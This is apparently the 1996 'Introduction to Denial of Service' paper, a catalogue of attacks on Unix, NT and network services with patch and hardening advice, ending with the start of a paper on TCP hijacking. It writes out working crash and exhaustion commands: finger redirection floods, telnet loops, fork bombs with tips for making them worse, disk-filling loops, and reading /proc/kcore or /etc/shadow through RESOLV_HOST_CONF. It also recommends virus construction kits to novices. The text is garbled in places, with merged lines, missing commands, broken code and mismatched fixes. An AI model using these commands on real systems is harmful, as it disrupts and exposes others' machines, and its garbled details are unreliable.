allocation is also a target that is sensitive.\nThe kernel have a kernelmap limit, if the system reach this\nlimit it can not allocate more kernel memory and must be rebooted.\nThe kernel memory is not only used for RAM, CPU:s, screens and so\non, it it also used for ordinaries processes. Meaning that any system\ncan be crashed and with a mean (or in some sense good) algorithm pretty\nfast.\n\nFor Solaris 2.X it is measured and reported with the sar command\nhow much kernel memory the system is using, but for SunOS 4.X there\nis no such command. Meaning that under SunOS 4.X you don't even can\nget a warning. If you do use Solaris you should write sar -k 1 to\nget the information. netstat -k can also be used and shows how much\nmemory the kernel have allocated in the subpaging.\n\n.B.4. RAM\n---------\n\nA denial of service attack that allocates a large amount of RAM\ncan make a great deal of problems. NFS and mail servers are\nactually extremely sensitive because they do not need much\nRAM and therefore often don't have much RAM. An attack at\na NFS server is trivial. The normal NFS client will do a\ngreat deal of caching, but a NFS client can be anything\nincluding the program you wrote yourself...\n\n.B.5. DISKS\n-----------\n\nA classic attack is to fill up the hard disk, but an attack at\nthe disks can be so much more. For example can an overloaded disk\nbe misused in many ways.\n\n.B.6. CACHES\n-------------\n\nA denial of service attack involving caches can be based on a method\nto block the cache or to avoid the cache.\n\nThese caches are found on Solaris 2.X:\n\nDirectory name lookup cache: Associates the name of a file with a vnode.\n\nInode cache: Cache information read from disk in case it is needed\nagain.\n\nRnode cache: Holds information about the NFS filesystem.\n\nBuffer cache: Cache inode indirect blocks and cylinders to realed disk\nI\/O.\n\n.B.7. INETD\n-----------\n\nWell once inetd crashed all other services running through inetd no\nlonger will work.\n\n.C. ATTACKING FROM THE OUTSIDE\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n--------------------------------\n\nMost fingerd installations support redirections to an other host.\n\nEx:\n\n$finger @system.two.com@system.one.com finger will in the example go through system.one.com and on to system.two.com. As far as system.two.com knows it is system.one.com who is fingering. So this method can be used for hiding, but also for a very dirty denial of service attack. Lock at this:$ finger @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@host.we.attack\n\nAll those @ signs will get finger to finger host.we.attack again and\nagain and again... The effect on host.we.attack is powerful and\nthe result is high bandwidth, short free memory and a hard disk with\nless free space, due to all child processes (compare with .D.5.).\n\nThe solution is to install a fingerd which don't support redirections,\nfor example GNU finger. You could also turn the finger service off,\nbut I think that is just a bit to much.\n\n.C.2. UDP AND SUNOS 4.1.3.\n--------------------------\n\nSunOS 4.1.3. is known to boot if a packet with incorrect information\nin the header is sent to it. This is the cause if the ip_options\nindicate a wrong size of the packet.\n\nThe solution is to install the proper patch.\n\n.C.3. FREEZING UP X-WINDOWS\n---------------------------\n\nIf a host accepts a telnet session to the X-Windows port (generally\nsomewhere between 6000 and 6025. In most cases 6000) could that\nbe used to freeze up the X-Windows system. This can be made with\nmultiple telnet connections to the port or with a program which\nsends multiple XOpenDisplay() to the port.\n\nThe same thing can happen to Motif or Open Windows.\n\nThe solution is to deny connections to the X-Windows port.\n\n.C.4. MALICIOUS USE OF UDP SERVICES\n-----------------------------------\n\nIt is simple to get UDP services (echo, time, daytime, chargen) to\nloop, due to trivial IP-spoofing. The effect can be high bandwidth\nthat causes the network to become useless. In the example the header\nclaim that the packet came from 127.0.0.1 (loopback) and the target\nis the echo port at system.we.attack. As far as system.we.attack knows\nis 127.0.0.1 system.we.attack and the loop has been establish.\n\nEx:\n\nfrom-IP=127.0.0.1\nto-IP=system.we.attack\nPacket type:UDP\nfrom UDP port 7\nto UDP port 7\n\nNote that the name system.we.attack looks like a DNS-name, but the\ntarget should always be represented by the IP-number.\n\nQuoted from proberts@clark.net (Paul D. Robertson) comment on\ncomp.security.firewalls on matter of \"Introduction to denial of service\"\n\n\" A great deal of systems don't put loopback on the wire, and simply\nemulate it. Therefore, this attack will only effect that machine\nin some cases. It's much better to use the address of a different\nmachine on the same network. Again, the default services should\nbe disabled in inetd.conf. Other than some hacks for mainframe IP\nstacks that don't support ICMP, the echo service isn't used by many\nlegitimate programs, and TCP echo should be used instead of UDP\nwhere it is necessary. \"\n\n.C.5. ATTACKING WITH LYNX CLIENTS\n---------------------------------\n\nA World Wide Web server will fork an httpd process as a respond\nto a request from a client, typical Netscape or Mosaic. The process\nlasts for less than one second and the load will therefore never\nshow up if someone uses ps. In most causes it is therefore very\nsafe to launch a denial of service attack that makes use of\nmultiple W3 clients, typical lynx clients. But note that the netstat\ncommand could be used to detect the attack (thanks to Paul D. Robertson).\n\nSome httpd:s (for example http-gw) will have problems besides the normal\nhigh bandwidth, low memory... And the attack can in those causes get\nthe server to loop (compare with .C.6.)\n\n.C.6. MALICIOUS USE OF telnet\n-----------------------------\n\nStudy this little script:\n\nEx:\n\nwhile : ; do\ntelnet system.we.attack &\ndone\n\nAn attack using this script might eat some bandwidth, but it is\nnothing compared to the finger method or most other methods. Well\nthe point is that some pretty common firewalls and httpd:s thinks\nthat the attack is a loop and turn them self down, until the\n\nThis is a simple high risk vulnerability that should be checked\nand if present fixed.\n\n.C.7. MALICIOUS USE OF telnet UNDER SOLARIS 2.4\n-----------------------------------------------\n\nIf the attacker makes a telnet connections to the Solaris 2.4 host and\nquits using:\n\nEx:\n\nControl-}\nquit\n\nthen will inetd keep going \"forever\". Well a couple of hundred...\n\nThe solution is to install the proper patch.\n\n.C.8. HOW TO DISABLE ACCOUNTS\n-----------------------------\n\nSome systems disable an account after N number of bad logins, or waits\nN seconds. You can use this feature to lock out specific users from\nthe system.\n\n.C.9. LINUX AND TCP TIME, DAYTIME\n----------------------------------\n\nInetd under Linux is known to crash if to many SYN packets sends to\ndaytime (port 13) and\/or time (port 37).\n\nThe solution is to install the proper patch.\n\n.C.10. HOW TO DISABLE SERVICES\n------------------------------\n\nMost Unix systems disable a service after N sessions have been\nopen in a given time. Well most systems have a reasonable default\n(lets say 800 - 1000), but not some SunOS systems that have the\ndefault set to 48...\n\nThe solutions is to set the number to something reasonable.\n\n.C.11. PARAGON OS BETA R1.4\n---------------------------\n\nIf someone redirects an ICMP (Internet Control Message Protocol) packet\nto a paragon OS beta R1.4 will the machine freeze up and must be\nrebooted. An ICMP redirect tells the system to override routing\ntables. Routers use this to tell the host that it is sending\nto the wrong router.\n\nThe solution is to install the proper patch.\n\n.C.12. NOVELLS NETWARE FTP\n--------------------------\n\nNovells Netware FTP server is known to get short of memory if multiple\nftp sessions connects to it.\n\n.C.13. ICMP REDIRECT ATTACKS\n----------------------------\n\nGateways uses ICMP redirect to tell the system to override routing\ntables, that is telling the system to take a better way. To be able\nto misuse ICMP redirection we must know an existing connection\n(well we could make one for ourself, but there is not much use for that).\nIf we have found a connection we can send a route that\nloses it connectivity or we could send false messages to the host\nif the connection we have found don't use cryptation.\n\nEx: (false messages to send)\n\nDESTINATION UNREACHABLE\nTIME TO LIVE EXCEEDED\nPARAMETER PROBLEM\nPACKET TOO BIG\n\nThe effect of such messages is a reset of the connection.\n\nThe solution could be to turn ICMP redirects off, not much proper use\nof the service.\n\n-----------------------\n\nThis is a very popular method in networks there all of the hosts are\nacting as gateways.\n\nThere are many versions of the attack, but the basic method is to\nsend a lot of packets to all hosts in the network with a destination\nthat don't exist. Each host will try to forward each packet so\nthe packets will bounce around for a long time. And if new packets\nkeep coming the network will soon be in trouble.\n\nServices that can be misused as tools in this kind of attack is for\nexample ping, finger and sendmail. But most services can be misused\nin some way or another.\n\n.C.15. EMAIL BOMBING AND SPAMMING\n---------------------------------\n\nIn a email bombing attack the attacker will repeatedly send identical\nemail messages to an address. The effect on the target is high bandwidth,\na hard disk with less space and so on... Email spamming is about sending\nmail to all (or rather many) of the users of a system. The point of\nusing spamming instead of bombing is that some users will try to\nsend a replay and if the address is false will the mail bounce back. In\nthat cause have one mail transformed to three mails. The effect on the\nbandwidth is obvious.\n\nThere is no way to prevent email bombing or spamming. However have\na look at CERT:s paper \"Email bombing and spamming\".\n\n.C.16. TIME AND KERBEROS\n------------------------\n\nIf not the the source and target machine is closely aligned will the\nticket be rejected, that means that if not the protocol that set the\ntime is protected it will be possible to set a kerberos server of\nfunction.\n\n.C.17. THE DOT DOT BUG\n----------------------\n\nWindows NT file sharing system is vulnerable to the under Windows 95\nfamous dot dot bug (dot dot like ..). Meaning that anyone can crash\nthe system. If someone sends a \"DIR ..\\\" to the workstation will a\nSTOP messages appear on the screen on the Windows NT computer. Note that\nit applies to version 3.50 and 3.51 for both workstation and server\nversion.\n\nThe solution is to install the proper patch.\n\n.C.18. SUNOS KERNEL PANIC\n-------------------------\n\nSome SunOS systems (running TIS?) will get a kernel panic if a\ngetsockopt() is done after that a connection has been reset.\n\nThe solution could be to install Sun patch 100804.\n\n.C.19. HOSTILE APPLETS\n----------------------\n\nA hostile applet is any applet that attempts to use your system\nin an inappropriate manner. The problems in the java language\ncould be sorted in two main groups:\n\n1) Problems due to bugs.\n2) Problems due to features in the language.\n\nIn group one we have for example the java bytecode verifier bug, which\nmakes is possible for an applet to execute any command that the user\ncan execute. Meaning that all the attack methods described in .D.X.\ncould be executed through an applet. The java bytecode verifier bug\nwas discovered in late March 1996 and no patch have yet been available\n(correct me if I'am wrong!!!).\n\nNote that two other bugs could be found in group one, but they\nare both fixed in Netscape 2.01 and JDK 1.0.1.\n\nGroup two are more interesting and one large problem found is the\nfact that java can connect to the ports. Meaning that all the methods\nand examples could be found at address:\n\nIf you need a high level of security you should use some sort of\nfirewall for protection against java. As a user you could have\njava disable.\n\n.C.20. VIRUS\n------------\n\nComputer virus is written for the purpose of spreading and\ndestroying systems. Virus is still the most common and famous\ndenial of service attack method.\n\nIt is a misunderstanding that virus writing is hard. If you know\nassembly language and have source code for a couple of virus it\nis easy. Several automatic toolkits for virus construction could\nalso be found, for example:\n\n* Genvir.\n* VCS (Virus Construction Set).\n* VCL (Virus Construction Laboratory).\n* PS-MPC (Phalcon\/Skism - Mass Produced Code Generator).\n* IVP (Instant Virus Production Kit).\n* G2 (G Squared).\n\nPS-MPC and VCL is known to be the best and can help the novice programmer\nto learn how to write virus.\n\nAn automatic tool called MtE could also be found. MtE will transform\nvirus to a polymorphic virus. The polymorphic engine of MtE is well\nknown and should easily be catch by any scanner.\n\n.C.21. ANONYMOUS FTP ABUSE\n--------------------------\n\nIf an anonymous FTP archive have a writable area it could be misused\nfor a denial of service attack similar with with .D.3. That is we can\nfill up the hard disk.\n\nAlso can a host get temporarily unusable by massive numbers of\nFTP requests.\n\nFor more information on how to protect an anonymous FTP site could\nCERT:s \"Anonymous FTP Abuses\" be a good start.\n\n.C.22. SYN FLOODING\n-------------------\n\nBoth 2600 and Phrack have posted information about the syn flooding attack.\n2600 have also posted exploit code for the attack.\n\nAs we know the syn packet is used in the 3-way handshake. The syn flooding\nattack is based on an incomplete handshake. That is the attacker host\nwill send a flood of syn packet but will not respond with an ACK packet.\nThe TCP\/IP stack will wait a certain amount of time before dropping\nthe connection, a syn flooding attack will therefore keep the syn_received\nconnection queue of the target machine filled.\n\nThe syn flooding attack is very hot and it is easy to find more information\n\n[.1.] http:\/\/www.eecs.nwu.edu\/~jmyers\/bugtraq\/1354.html\nArticle by Christopher Klaus, including a \"solution\".\n\n[.2.] http:\/\/jya.com\/floodd.txt\n2600, Summer, 1996, pp. 6-11. FLOOD WARNING by Jason Fairlane\n\n[.3.] http:\/\/www.fc.net\/phrack\/files\/p48\/p48-14.html\nIP-spoofing Demystified by daemon9 \/ route \/ infinity\nfor Phrack Magazine\n\n.C.23. PING FLOODING\n--------------------\n\nI haven't tested how big the impact of a ping flooding attack is, but\nit might be quite big.\n\nUnder Unix we could try something like: ping -s host\nto send 64 bytes packets.\n\nIf you have Windows 95, click the start button, select RUN, then type\nin: PING -T -L 256 xxx.xxx.xxx.xx. Start about 15 sessions.\n\n.C.24. CRASHING SYSTEMS WITH PING FROM WINDOWS 95 MACHINES\n----------------------------------------------------------\n\nIf someone can ping your machine from a Windows 95 machine he or she might\nreboot or freeze your machine. The attacker simply writes:\n\nAnd the machine will freeze or reboot.\n\nWorks for kernel 2.0.7 up to version 2.0.20. and 2.1.1. for Linux (crash).\nAIX4, OSF, HPUX 10.1, DUnix 4.0 (crash).\nOSF\/1, 3.2C, Solaris 2.4 x86 (reboot).\n\n--------------------------------------------------\n\nThe subnet mask reply message is used under the reboot, but some\nhosts are known to accept the message any time without any check.\nIf so all communication to or from the host us turned off, it's dead.\n\nThe host should not accept the message any time but under the reboot.\n\n.C.26. FLEXlm\n-------------\n\nAny host running FLEXlm can get the FLEXlm license manager daemon\non any network to shutdown using the FLEXlm lmdown command.\n\n# lmdown -c \/etc\/licence.dat\nlmdown - Copyright (C) 1989, 1991 Highland Software, Inc.\n\nShutting down FLEXlm on nodes: xxx\nAre you sure? [y\/n]: y\nShut down node xxx\n#\n\n.C.27. BOOTING WITH TRIVIAL FTP\n-------------------------------\n\nTo boot diskless workstations one often use trivial ftp with rarp or\nbootp. If not protected an attacker can use tftp to boot the host.\n\n.D. ATTACKING FROM THE INSIDE\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n.D.1. KERNEL PANIC UNDER SOLARIS 2.3\n------------------------------------\n\nSolaris 2.3 will get a kernel panic if this\nis executed:\n\nEX:\n\n$ndd \/dev\/udp udp_status The solution is to install the proper patch. .D.2. CRASHING THE X-SERVER --------------------------- If stickybit is not set in \/tmp then can the file \/tmp\/.x11-unix\/x0 be removed and the x-server will crash. Ex:$ rm \/tmp\/.x11-unix\/x0\n\n.D.3. FILLING UP THE HARD DISK\n-----------------------------\n\nIf your hard disk space is not limited by a quota or if you can use\n\/tmp then its possible for you to fill up the file system.\n\nEx:\n\nwhile : ;\nmkdir .xxx\ncd .xxx\ndone\n\n.D.4. MALICIOUS USE OF eval\n---------------------------\n\nSome older systems will crash if eval '\\!\\!' is executed in the\nC-shell.\n\nEx:\n\n% eval '\\!\\!'\n\n.D.5. MALICIOUS USE OF fork()\n-----------------------------\n\nIf someone executes this C++ program the result will result in a crash\non most systems.\n\nEx:\n\n#include <sys\/types.h>\n#include <unistd.h>\n#include <iostream.h>\n\nmain()\n{\nint x;\nwhile(x=0;x<1000000;x++)\n{\nsystem(\"uptime\");\nfork();\n}\n}\n\nYou can use any command you want, but uptime is nice\n\nTo get a bigger and very ugly attack you should however replace uptime\n(or fork them both) with sync. This is very bad.\n\nIf you are real mean you could also fork a child process for\nevery child process and we will get an exponential increase of\n\nThere is no good way to stop this attack and\nsimilar attacks. A solution could be to place a limit\non time of execution and size of processes.\n\n.D.6. CREATING FILES THAT IS HARD TO REMOVE\n-------------------------------------------\n\nWell all files can be removed, but here is some ideas:\n\nEx.I.\n\n$cat > -xxx ^C$ ls\n-xxx\n$rm -xxx rm: illegal option -- x rm: illegal option -- x rm: illegal option -- x usage: rm [-fiRr] file ...$\n\nEx.II.\n\n$touch xxx!$ rm xxx!\nrm: remove xxx! (yes\/no)? y\n$touch xxxxxxxxx!$ rm xxxxxxxxx!\n$(You see the size do count!) Other well know methods is files with odd characters or spaces in the name. These methods could be used in combination with \".D.3 FILLING UP THE HARDDISK\". If you do want to remove these files you must use some sort of script or a graphical interface like OpenWindow:s File Manager. You can also try to use: rm .\/<filename>. It should work for the first example if you have a shell. .D.7. DIRECTORY NAME LOOKUPCACHE -------------------------------- Directory name lookupcache (DNLC) is used whenever a file is opened. DNLC associates the name of the file to a vnode. But DNLC can only operate on files with names that has less than N characters (for SunOS 4.x up to 14 character, for Solaris 2.x up 30 characters). This means that it's dead easy to launch a pretty discreet denial of service attack. Create lets say 20 directories (for a start) and put 10 empty files in every directory. Let every name have over 30 characters and execute a script that makes a lot of ls -al on the directories. If the impact is not big enough you should create more files or launch more processes. .D.8. CSH ATTACK ---------------- Just start this under \/bin\/csh (after proper modification) and the load level will get very high (that is 100% of the cpu time) in a very short time. Ex: |I \/bin\/csh nodename : **************b .D.9. CREATING FILES IN \/tmp ---------------------------- Many programs creates files in \/tmp, but are unable to deal with the problem if the file already exist. In some cases this could be used for a denial of service attack. .D.10. USING RESOLV_HOST_CONF ----------------------------- Some systems have a little security hole in the way they use the RESOLV_HOST_CONF variable. That is we can put things in it and through ping access confidential data like \/etc\/shadow or crash the system. Most systems will crash if \/proc\/kcore is read in the variable and access through ping. Ex:$ export RESOLV_HOST_CONF=\"\/proc\/kcore\" ; ping asdf\n\n.D.11. SUN 4.X AND BACKGROUND JOBS\n----------------------------------\n\nThanks to Mr David Honig <honig@amada.net> for the following:\n\n\" Put the string \"a&\" in a file called \"a\" and perform \"chmod +x a\".\nRunning \"a\" will quickly disable a Sun 4.x machine, even disallowing\n(counter to specs) root login as the kernel process table fills.\"\n\n\" The cute thing is the size of the\nscript, and how few keystrokes it takes to bring down a Sun\nas a regular user.\"\n\n.D.12. CRASHING DG\/UX WITH ULIMIT\n---------------------------------\n\nulimit is used to set a limit on the system resources available to the\nshell. If ulimit 0 is called before \/etc\/passwd, under DG\/UX, will the\npasswd file be set to zero.\n\n.D.13. NETTUNE AND HP-UX\n------------------------\n\n\/usr\/contrib\/bin\/nettune is SETUID root on HP-UX meaning\nthat any user can reset all ICMP, IP and TCP kernel\nparameters, for example the following parameters:\n\n- arp_killcomplete\n- arp_killincomplete\n- arp_unicast\n- ip_defaultttl\n- ip_forwarding\n- ip_intrqmax\n- pmtu_defaulttime\n- tcp_localsubnets\n- tcp_send\n- tcp_defaultttl\n- tcp_keepstart\n- tcp_keepfreq\n- tcp_keepstop\n- tcp_maxretrans\n- tcp_urgent_data_ptr\n- udp_cksum\n- udp_defaultttl\n- udp_newbcastenable\n- udp_pmtu\n- tcp_pmtu\n- tcp_random_seq\n\nThe solution could be to set the proper permission on\n\/sbin\/mount_union:\n\n#chmod u-s \/sbin\/mount_union\n\n.D.14. SOLARIS 2.X AND NFS\n--------------------------\n\nIf a process is writing over NFS and the user goes over the disk\nquota will the process go into an infinite loop.\n\n.D.15. SYSTEM STABILITY COMPROMISE VIA MOUNT_UNION\n--------------------------------------------------\n\nBy executing a sequence of mount_union commands any user\ncan cause a system reload on all FreeBSD version 2.X before\n1996-05-18.\n\n$mkdir a$ mkdir b\n$mount_union ~\/a ~\/b$ mount_union -b ~\/a ~\/b\n\nThe solution could be to set the proper permission on\n\/sbin\/mount_union:\n\n#chmod u-s \/sbin\/mount_union\n\n.D.16. trap_mon CAUSES KERNEL PANIC UNDER SUNOS 4.1.X\n----------------------------------------------------\n\nExecuting the trap_mon instruction from user mode can cause\na kernel panic or a window underflow watchdog reset under\nSunOS 4.1.x, sun4c architecture.\n\n.E. DUMPING CORE\n~~~~~~~~~~~~~~~~\n\n.E.1. SHORT COMMENT\n-------------------\n\nThe core dumps things don't really belongs in this paper but I have\nput them here anyway.\n\n.E.2. MALICIOUS USE OF NETSCAPE\n-------------------------------\n\nUnder Netscape 1.1N this link will result in a segmentation fault and a\ncore dump.\n\nEx:\n\n<a name=\"http:\/\/xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.\nxxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.\nxxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx.\nxxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.\nxxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx...>\n\n.E.3. CORE DUMPED UNDER WUFTPD\n------------------------------\n\nA core dumped could be created under wuftp with two different\nmethods:\n\n(1) Then pasv is given (user not logged in (ftp -n)). Almost all\nversions of BSD:s ftpd.\n(2) More than 100 arguments is given with any executable\ncommand. Presents in all versions of BSD:sd ftpd.\n\n.E.4. ld UNDER SOLARIS\/X86\n--------------------------\n\nUnder Solaris 2.4\/X86 ld dumps core if given with the -s option.\n\n.F. HOW DO I PROTECT A SYSTEM AGAINST DENIAL OF SERVICE ATTACKS?\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n.F.1. BASIC SECURITY PROTECTION\n-------------------------------\n\n.F.1.1. INTRODUCTION\n--------------------\n\nYou can not make your system totally secured against denial of service\nattacks but for attacks from the outside you can do a lot. I put this\nwork list together and hope that it can be of some use.\n\n.F.1.2. SECURITY PATCHES\n------------------------\n\nAlways install the proper security patches. As for patch numbers\nI don't want to put them out, but that doesn't matter because you\nanyway want to check that you have all security patches installed,\nso get a list and check! Also note that patches change over time and\nthat a solution suggested in security bulletins (i.e. CERT) often\nis somewhat temporary.\n\n.F.1.3. PORT SCANNING\n---------------------\n\nCheck which services you have. Don't check with the manual\nor some configuration file, instead scan the ports with sprobe\nor some other port scanner. Actual you should do this regualy to see\nthat anyone don't have installed a service that you don't want on\nthe system (could for example be service used for a pirate site).\n\nDisable every service that you don't need, could for example be rexd,\nfingerd, systat, netstat, rusersd, sprayd, pop3, uucpd, echo, chargen,\ntftp, exec, ufs, daytime, time... Any combination of echo, time, daytime\nand chargen is possible to get to loop. There is however no need\nand discard it, so if you turn off it you will get more sensitive to\ndenial of service and not the opposite.\n\nActual can services be found on many systems that can be used for\ndenial of service and brute force hacking without any logging. For\nexample Stock rexec never logs anything. Most popd:s also don't log\nanything\n\n.F.1.4. CHECK THE OUTSIDE ATTACKS DESCRIBED IN THIS PAPER\n---------------------------------------------------------\n\nCheck that attacks described in this paper and look at the\nsolution. Some attacks you should perform yourself to see if they\napply to your system, for example:\n\n- Freezing up X-Windows.\n- Malicious use of telnet.\n- How to disable services.\n- SunOS kernel panic.\n- Attacking with lynx clients.\n- Crashing systems with ping from Windows 95 machines.\n\nThat is stress test your system with several services and look at\nthe effect.\n\nNote that Solaris 2.4 and later have a limit on the number of ICMP\nerror messages (1 per 500 ms I think) that can cause problems then\nyou test your system for some of the holes described in this paper.\nBut you can easy solve this problem by executing this line:\n\n\/usr\/sbin\/ndd -set \/dev\/ip ip_icmp_err_interval 0 .F.1.5. CHECK THE INSIDE ATTACKS DESCRIBED IN THIS PAPER -------------------------------------------------------- Check the inside attacks, although it is always possibly to crash the system from the inside you don't want it to be to easy. Also have several of the attacks applications besides denial of service, for example: - Crashing the X-Server: If stickybit is not set in \/tmp a number of attacks to gain access can be performed. - Using resolv_host_conf: Could be used to expose confidential data like \/etc\/shadow. - Core dumped under wuftpd: Could be used to extract password-strings. If I don't have put out a solution I might have recommended son other paper. If not I don't know of a paper with a solution I feel that I can recommend. You should in these causes check with your company. .F.1.6. EXTRA SECURITY SYSTEMS ------------------------------ Also think about if you should install some extra security systems. The basic that you always should install is a logdaemon and a wrapper. A firewall could also be very good, but expensive. Free tools that can be found on the Internet is for example: TYPE: NAME: URL: LOGDAEMON NETLOG ftp:\/\/net.tamu.edu\/pub\/security\/TAMU WRAPPER TCP WRAPPERS ftp:\/\/cert.org\/pub\/tools\/tcp_wrappers FIREWALL TIS ftp:\/\/ftp.tis.com\/pub\/firewalls\/toolkit Note that you should be very careful if building your own firewall with TIS or you might open up new and very bad security holes, but it is a very good security packer if you have some basic knowledge. It is also very good to replace services that you need, for example telnet, rlogin, rsh or whatever, with a tool like ssh. Ssh is free and can be found at URL: ftp:\/\/ftp.cs.hut.fi\/pub\/ssh The addresses I have put out are the central sites for distributing and I don't think that you should use any other except for CERT. For a long list on free general security tools I recommend: \"FAQ: Computer Security Frequently Asked Questions\". .F.1.7. MONITORING SECURITY --------------------------- Also monitor security regular, for example through examining system log files, history files... Even in a system without any extra security systems could several tools be found for monitoring, for example: - uptime - showmount - ps - netstat - finger (see the man text for more information). .F.1.8. KEEPING UP TO DATE -------------------------- It is very important to keep up to date with security problems. Also understand that then, for example CERT, warns for something it has often been dark-side public for sometime, so don't wait. The following resources that helps you keeping up to date can for example be found on the Internet: - CERT mailing list. Send an e-mail to cert@cert.org to be placed on the list. - Bugtraq mailing list. Send an e-mail to bugtraq-request@fc.net. - WWW-security mailing list. Send an e-mail to www-security@ns2.rutgers.edu. .F.1.9. READ SOMETHING BIGGER AND BETTER ---------------------------------------- Let's start with papers on the Internet. I am sorry to say that it is not very many good free papers that can be found, but here is a small collection and I am sorry if have have over looked a paper. (1) The Rainbow books is a long series of free books on computer security. US citizens can get the books from: INFOSEC AWARENESS OFFICE National Computer Security Center 9800 Savage Road Fort George G. Meader, MD 20755-600 We other just have to read the papers on the World Wide Web. Every paper can not however be found on the Internet. (2) \"Improving the security of your Unix system\" by Curry is also very nice if you need the very basic things. If you don't now anything about computer security you can't find a better start. (3) \"The WWW security FAQ\" by Stein is although it deal with W3-security the very best better on the Internet about computer security. (4) CERT have aklso published several good papers, for example: - Anonymous FTP Abuses. - Email Bombing and Spamming. - Spoofed\/Forged Email. - Protecting yourself from password file attacks. I think however that the last paper have overlooked several things. (5) For a long list on papers I can recommend: \"FAQ: Computer Security Frequently Asked Questions\". (6) Also see section \".G. SUGGESTED READING\" You should also get some big good commercial book, but I don't want to recommend any. .F.2. MONITORING PERFORMANCE ---------------------------- .F.2.1. INTRODUCTION -------------------- There is several commands and services that can be used for monitoring performance. And at least two good free programs can be found on Internet. .F.2.2. COMMANDS AND SERVICES ----------------------------- For more information read the man text. netstat Show network status. nfsstat Show NFS statistics. sar System activity reporter. vmstat Report virtual memory statistics. timex Time a command, report process data and system activity. time Time a simple command. truss Trace system calls and signals. uptime Show how long the system has been up. Note that if a public netstat server can be found you might be able to use netstat from the outside. netstat can also give information like tcp sequence numbers and much more. .F.2.3. PROGRAMS ---------------- Proctool: Proctool is a freely available tool for Solaris that monitors and controls processes. ftp:\/\/opcom.sun.ca\/pub\/binaries\/ Top: Top might be a more simple program than Proctool, but is good enough. .F.2.4. ACCOUNTING ------------------ To monitor performance you have to collect information over a long period of time. All Unix systems have some sort of accounting logs to identify how much CPU time, memory each program uses. You should check your manual to see how to set this up. You could also invent your own account system by using crontab and a script with the commands you want to run. Let crontab run the script every day and compare the information once a week. You could for example let the script run the following commands: - netstat - iostat -D - vmstat .G. SUGGESTED READING ~~~~~~~~~~~~~~~~~~~~~ .F.1. INFORMATION FOR DEEPER KNOWLEDGE ------------------------------------- (1) Hedrick, C. Routing Information Protocol. RFC 1058, 1988. (2) Mills, D.L. Exterior Gateway Protocol Formal Specification. RFC 904, 1984. (3) Postel, J. Internet Control Message Protocol. RFC 792, 1981. (4) Harrenstien, K. NAME\/FINGER Protocol, RFC 742, 1977. (5) Sollins, K.R. The TFTP Protocol, RFC 783, 1981. (6) Croft, W.J. Bootstrap Protocol, RFC 951, 1985. Many of the papers in this category was RFC-papers. A RFC-paper is a paper that describes a protocol. The letters RCS stands for Request For Comment. Hosts on the Internet are expected to understand at least the common ones. If you want to learn more about a protocol it is always good to read the proper RFC. You can find a nice sRFC index search form at URL: http:\/\/pubweb.nexor.co.uk\/public\/rfc\/index\/rfc.html .F.2. KEEPING UP TO DATE INFORMATION ------------------------------------ (1) CERT mailing list. Send an e-mail to cert@cert.org to be placed on the list. (2) Bugtraq mailinglist. Send an e-mail to bugtraq-request@fc.net. (3) WWW-security mailinglist. Send an e-mail to www-security@ns2.rutgers.edu. (4) Sun Microsystems Security Bulletins. (5) Various articles from: - comp.security.announce - comp.security.unix - comp.security.firewalls (6) Varius 40Hex Issues. .F.3. BASIC INFORMATION ----------------------- (1) Husman, H. INTRODUKTION TILL DATAS\u00c4KERHET UNDER X-WINDOWS, 1995. (2) Husman, H. INTRODUKTION TILL IP-SPOOFING, 1995. (3) The following rainbow books: - Teal Green Book (Glossary of Computer Security Terms). - Bright Orange Book( A Guide to Understanding Security Testing and Test Documentation in Trusted Systems). - C1 Technical Report-001 (Computer Viruses: Preventation, Detection, and Treatment). (4) Ranum, Marcus. Firewalls, 1993. (5) Sun Microsystems, OpenWindows V3.0.1. User Commands, 1992. (6) Husman, H. ATT SP\u00c5RA ODOKUMENTERADE S\u00c4KERHETSLUCKOR, 1996. (7) Dark OverLord, Unix Cracking Tips, 1989. (8) Shooting Shark, Unix Nasties, 1988. (9) LaDue, Mark.D. Hostile Applets on the Horizone, 1996. (10) Curry, D.A. Improving the security of your unix system, 1990. (11) Stein, L.D. The World Wide Web security FAQ, 1995. (12) Bellovin, S.M. Security Problems in the TCP\/IP Protocol, 1989. .H. COPYRIHT ------------ This paper is Copyright (c) 1996 by Hans Husman. Permission is hereby granted to give away free copies electronically. You may distribute, transfer, or spread this paper electronically. You may not pretend that you wrote it. This copyright notice must be maintained in any copy made. If you wish to reprint the whole or any part of this paper in any other medium excluding electronic medium, please ask the author for permission. .I. DISCLAIMER -------------- The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk. ___________________________________________________________________________ ___________________________________________________________________________ Attacking TCP Oldschool style: Simple Active Attack Against TCP Laurent Joncheray Merit Network, Inc. 4251 Plymouth Road, Suite C Ann Arbor, MI 48105, USA Phone: +1 (313) 936 2065 Fax: +1 (313) 747 3185 E-mail: lpj@merit.edu Abstract This paper describes an active attack against the Transport Control Protocol (TCP) which allows a cracker to redirect the TCP stream through his machine thereby permitting him to bypass the protection offered by such a system as a one-time password [skey] or ticketing authentication [kerberos]. The TCP connection is vulnerable to anyone with a TCP packet sniffer and generator located on the path followed by the connection. Some schemes to detect this attack are presented as well as some methods of prevention and some interesting details of the TCP protocol behaviors. 1. Introduction Passive attacks using sniffers are becoming more and more frequent on the Internet. The attacker obtains a user id and password that allows him to logon as that user. In order to prevent such attacks people have been using identification schemes such as one-time password [skey] or ticketing identification [kerberos]. Though they prevent password sniffing on an unsecure network these methods are still vulnerable to an active attack as long as they neither encrypt nor sign the data stream. [Kerberos also provides an encrypted TCP stream option.] Still many people are complacent believing that active attacks are very difficult and hence a lesser 